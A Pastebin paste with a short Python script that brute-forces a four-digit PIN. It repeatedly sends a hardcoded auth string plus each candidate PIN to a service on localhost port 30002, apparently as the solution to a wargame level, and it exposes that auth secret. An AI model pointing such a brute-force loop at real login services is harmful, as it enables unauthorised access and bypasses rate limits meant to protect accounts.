Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- auth = 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ'
- def main():
- # we can reuse the same connection instead of opening it each time, which will save us a bit of effort too.
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect(('localhost', 30002))
- # read and discard the initial message telling us how to send data
- _ = s.recv(4096)
- for pin in range(9999):
- print("[+] {:04d}...".format(pin))
- # send pin and get response
- s.send("{} {:04d}\n".format(auth, pin).encode())
- response = s.recv(4096).decode()
- if len(response) != 52:
- print(response)
- return
- print(":( couldn't win")
- if __name__ == "__main__":
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement